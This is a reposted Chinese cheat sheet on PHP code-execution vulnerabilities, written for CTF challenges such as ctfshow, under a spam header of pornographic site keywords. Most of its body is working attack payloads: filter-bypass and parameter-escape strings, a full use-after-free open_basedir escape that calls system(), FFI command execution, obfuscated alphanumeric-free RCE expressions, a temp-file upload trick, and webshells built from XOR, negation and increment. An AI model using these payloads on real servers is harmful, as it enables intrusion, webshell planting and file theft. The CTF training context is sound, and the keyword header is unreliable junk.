日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

代码执行漏洞

發布時間:2025/4/16 编程问答 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 代码执行漏洞 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

  • 目錄
    • 代碼執行
      • 有回顯
      • 無回顯
    • 讀取目錄
      • glob
      • scandir()
    • bypass
      • `.` 點被過濾
      • `;` 分號被過濾
      • `()` 括號被過濾
    • 輸出內容
    • 讀取文件
    • exit截斷
    • 參數逃逸
    • open_basedir限制(安全目錄)
      • UAF腳本
      • 用mysql load_file讀取文件
      • FFI命令執行
    • 無字母RCE
    • 一鍵讀取/readflag腳本
    • 無數字字母RCE
      • 臨時文件上傳
    • 無參數RCE
      • 最推薦
      • 操作數組
        • array_reverse()
        • array_rand(array_flip())
        • get_defined_vars() // 最推薦的
        • getallheaders()
        • session命令執行
      • php5
        • 異或
        • 取反
        • 遞增運算
      • php7
        • 取反
        • 異或
        • 注意點


目錄

代碼執行

有回顯

system() passthru() popen() proc_open()

無回顯

可以用echo 輸出

exec() // 回顯最后一行 必須echo輸出,可以讓它輸出到一個數組里面 pcntl_exec() `` //可以直接執行系統命令 shell_exec() // 必須輸出

讀取目錄

glob

print_r(glob("*"));

glob("*") 匹配任意文件

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>

用glob協議讀取根目錄下所有文件

scandir()

bypass

. 點被過濾

chr(46) -> .

chr(rand()) -> char函數以256為一個周期取余,拿到46的概率為1/256 chr(time()) -> 1/256概率,每256秒成功一次,重放數據包(不推薦) chr(current(localtime(time()))) -> 1/60概率,每60秒成功一次,重放(不推薦) phpversion()僅限php7chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))current(localeconv()) (推薦使用這種方法)

; 分號被過濾

用 ?>閉合php標簽

() 括號被過濾

用不需要括號的函數

echo require <?=require~%d0%99%93%9e%98%d1%8b%87%8b?> //echo require "/flag.txt" include

@ 代碼不報錯

echo@123;

~ 取反

echo~123;

^ 異或

echo^123;

輸出內容

echo print print_r die var_dump var_export 非php文件includerequirecopy('flag.php','flag.txt')rename('flag.php','flag.txt')

讀取文件

var_dump(file_get_contents()) show_source() highlight_file() readfile()

exit截斷

$c= $_POST['c'];eval($c);$s = ob_get_contents();ob_end_clean();

知識點:

ob_get_contents — 返回輸出緩沖區的內容 ob_end_clean — 清空(擦除)緩沖區并關閉輸出緩沖

關于緩存區的,可以參考大佬博客

https://www.cnblogs.com/raobenjun/p/8086051.html

exit(); die();

參數逃逸

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php?c=eval($_GET[1]);&1=system('nl flag.php');?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat%20flag.php <!-- $$pi{abs}($$pi{acos}) #相當于 $_GET['abs']($_GET['acos'])-->

open_basedir限制(安全目錄)

UAF腳本

c=function ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function strlen_user($s){$ret = 0;for ($i=0; $i<1000000; $i++){if($s[$i]){$ret=$ret+1;}else{break;}}return $ret;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf("%c",($ptr & 0xff));$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c",($v & 0xff));$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; $contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd);exit(); }ctfshow("cat /flag0.txt");ob_end_flush(); //需要通過url編碼哦 //如果strlen被過濾 用strlen_user替換

用mysql load_file讀取文件

一般用不到

try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();exit(0);}exit(0);

FFI命令執行

php7.4 以上

$ffi = FFI::cdef("int system(const char *command);");// 創建一個system對象 $a='/readflag > 1.txt'; // 沒有回顯的 $ffi->system($a); // 通過$ffi去調用system函數

無字母RCE

用 & 和 | 運算

system(end(getallheaders()));(((((((2).(0)){0}){0})|(((0/0).(0)){1}))).(((1).(2)){0}|((1/0).(0)){0}).((((((2).(0)){0}){0})|(((0/0).(0)){1}))).((((((1).(2)){0}|((1/0).(0)){0})&((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))&(((1/0).(0)){1}))|((((4).(0)){0}))).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).(((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))((((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).(((1/0).(0)){1}|((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0})))).(((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&(((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))))(((((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0}))).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).((((((1).(2)){0}|((1/0).(0)){0})&((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))&(((1/0).(0)){1}))|((((4).(0)){0}))).((((1).(2)){0}|((1/0).(0)){0})&((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))).((((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&(((1/0).(0)){1}|((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))).((((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&(((1/0).(0)){1}|((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))).(((((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&(((1/0).(0)){1}|((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0})))))&(((1).(2)){1}|((1/0).(0)){0})).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).((((1).(2)){0}|((1/0).(0)){0})&((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))).(((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&(((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).(((((((2).(0)){0}){0})|(((0/0).(0)){1})))&(((2).(1)){0}|((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))).((((((2).(0)){0}){0})|(((0/0).(0)){1}))))()));

一鍵讀取/readflag腳本

//readflag一鍵計算腳本 <?php $d = array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("file", "/tmp/error.log", "a") );$cwd = "/"; $env = array();$process = proc_open("/readflag", $d, $pipes, $cwd, $env); if (is_resource($process)) {$d = fread($pipes[1], 1024);$d = fread($pipes[1], 1024);$d = explode("\n", $d);eval("\$result = $d[0];");eval("\$result = $d[0];");fwrite($pipes[0] , "$result\n");var_dump(fread($pipes[1],1024));var_dump(fread($pipes[1],1024));var_dump(fread($pipes[1],1024));fclose($pipes[0]);fclose($pipes[1]);$r = proc_close($process);echo "result $r\n"; } ?>php -c 1 -r "eval(base64_decode('JGQgPSBhcnJheSgKICAgIDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLAogICAgMSA9PiBhcnJheSgicGlwZSIsICJ3IiksCiAgICAyID0+IGFycmF5KCJmaWxlIiwgIi90bXAvZXJyb3IubG9nIiwgImEiKQopOwoKJGN3ZCA9ICIvIjsKJGVudiA9IGFycmF5KCk7CgokcHJvY2VzcyA9IHByb2Nfb3BlbigiL3JlYWRmbGFnIiwgJGQsICRwaXBlcywgJGN3ZCwgJGVudik7CmlmIChpc19yZXNvdXJjZSgkcHJvY2VzcykpCnsKICAgICRkID0gZnJlYWQoJHBpcGVzWzFdLCAxMDI0KTsKICAgICRkID0gZnJlYWQoJHBpcGVzWzFdLCAxMDI0KTsKICAgICRkID0gZXhwbG9kZSgiXG4iLCAkZCk7CiAgICBldmFsKCJcJHJlc3VsdCA9ICRkWzBdOyIpOwogICAgZXZhbCgiXCRyZXN1bHQgPSAkZFswXTsiKTsKICAgIGZ3cml0ZSgkcGlwZXNbMF0gLCAiJHJlc3VsdFxuIik7CiAgICB2YXJfZHVtcChmcmVhZCgkcGlwZXNbMV0sMTAyNCkpOwogICAgdmFyX2R1bXAoZnJlYWQoJHBpcGVzWzFdLDEwMjQpKTsKICAgIHZhcl9kdW1wKGZyZWFkKCRwaXBlc1sxXSwxMDI0KSk7CiAgICBmY2xvc2UoJHBpcGVzWzBdKTsKICAgIGZjbG9zZSgkcGlwZXNbMV0pOwogICAgJHIgPSBwcm9jX2Nsb3NlKCRwcm9jZXNzKTsKICAgIGVjaG8gInJlc3VsdCAkclxuIjsKfQ=='));" 或者echo "xx"|base64 -d|php執行

無數字字母RCE

臨時文件上傳

php文件上傳時會先將上傳的文件保存到upload_tmp_dir該配置目錄下,這里為/tmp,而上傳頁面只負責把該文件拷貝到目標目錄。也就是說不管該php頁面有沒有文件上傳功能,我們只要上傳了文件,該文件就會被上傳到upload_tmp_dir配置的目錄(/tmp)下,上傳完后會被刪除。

PHP會將我們上傳的文件保存在臨時文件夾下,默認的文件名是/tmp/phpXXXXXX,文件名最后6個字符是隨機的大小寫字母

ctfshow web56

博客 https://blog.csdn.net/Kracxi/article/details/121766050

. 相當于source 可以執行文件 ` ` 可以執行命令 [@-[] 可以表示任意大寫字母 在ASCII碼中 @ < A , [ > Z , <!-- 文件上傳數據包 --> <!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><title>upload-POC</title> </head> <body> <form action="http://8f29caac-a8e9-42fa-b6f6-b6fe3afd8659.challenge.ctf.show/" method="post" enctype="multipart/form-data"><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">上傳的文件在網站目錄下 </form> </body> </html>

這個圖是里面是命令執行system($c)的,代碼執行eval($c)的話可以用短標簽

c=?><?=`.%09/???/????????[@-[]`; // ;被過濾的話用?>閉合

無參數RCE

最推薦

GETeval(array_pop(next(get_defined_vars()))); POST:1=[shell]

操作數組

pos()current() 第一個元素end() – 將內部指針指向數組中的最后一個元素,并輸出next() – 將內部指針指向數組中的下一個元素,并輸出prev() – 將內部指針指向數組中的上一個元素,并輸出reset() – 將內部指針指向數組中的第一個元素,并輸出each() – 返回當前元素的鍵名和鍵值,并將內部指針向前移動current()pos() - 默認返回數組第一個元素array_reverse() - 將數組倒過來array_flip() - 把數值的鍵值交換array_rand() - 從數值中隨機取一個鍵出來get_defined_vars() - 返回一個包含所有已定義變量列表的多維數組,這些變量包括環境變量、服務器變量和用戶定義的變量。array_pop() - 是刪除并返回數組最后一個元素

array_reverse()

僅限于flag.php在數組的倒數第二個位置這種情況下

?exp=print_r(next(array_reverse(scandir(pos(localeconv())))));

array_rand(array_flip())

flag.php位置在哪都可以,但是他不是100%成功的,需要重放,概率問題

?exp=print_r(array_rand(array_flip(scandir(pos(localeconv())))));

get_defined_vars() // 最推薦的

取get的最后一個參數:

end(pos(get_defined_vars()))

取post的最后一個參數:

end(next(get_defined_vars()))

getallheaders()

print_r((array_reverse(getallheaders())));

print_r(end(array_reverse(getallheaders())));

在headers尾部添加任意 xxx: [shell]

system(end(getallheaders()));

用bp在host上方寫入shell

session命令執行

受php版本影響 5.5 -7.1.9均可以執行,因為session_id規定為0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均無法寫入除此之外的內容。但是符合要求的字符還是可以的

參考博客 ctfshow 40

https://blog.csdn.net/Kracxi/article/details/121041140

可以base64編碼 但PHPSESSID不能有+號和空格

?c=session_start();eval(base64_decode(session_id()));

?c=session_start();system(session_id());

?c=show_source(session_id(session_start()));

php5

參考p神博客
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

異或

<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; _(___[_]); // assert($_POST[_]);

取反

利用UTF-8編碼的某個漢字,并將其中某個字符取出來,比如’和’{2}的結果是"\x8c",其取反即為字母s:

<?php $__=('>'>'<')+('>'>'<'); // ture+ture=2 $_=$__/$__; //ture/ture=1 $____=''; $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); $_=$$_____; $____($_[$__]);

遞增運算

也就是說,‘a’++ => ‘b’,‘b’++ => ‘c’… 所以,我們只要能拿到一個變量,其值為a,通過自增操作即可獲得a-z中所有字符。

<?php $_=[]; $_=@"$*"; // $*='Array'; $_=$*['!'=='@']; // $*=$_[0]; $___=$_; // A $__=$_; $__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$**++;$**++;$__++; // E $___.=$__; $__=$_; $__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++; // T $___.=$__; $____='_'; $__=$_; $__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++; // P $____.=$__; $__=$_; $__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++; // S $____.=$__; $__=$_; $__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++; // T $____.=$__; $_=$$____; $___($_[_]); // ASSERT($_POST[_]);

php7

取反

(不取反的話會被url解碼)

<?php $a = "system"; echo "~("; for ($i = 0; $i < strlen($a); $i++) {echo "%".bin2hex(~$a[$i]); } echo ")";

異或

<?php $a = "phpinfo"; for ($i = 0; $i < strlen($a); $i++) {echo "%".dechex(ord($a[$i])^0xff); } echo "^"; for ($i = 0; $i < strlen($a); $i++) {echo "%ff"; }

注意點

eval不能被動態調用,php7里不能動態構造assert eval和echo等,不是函數,而是語言構造器

總結

以上是生活随笔為你收集整理的代码执行漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。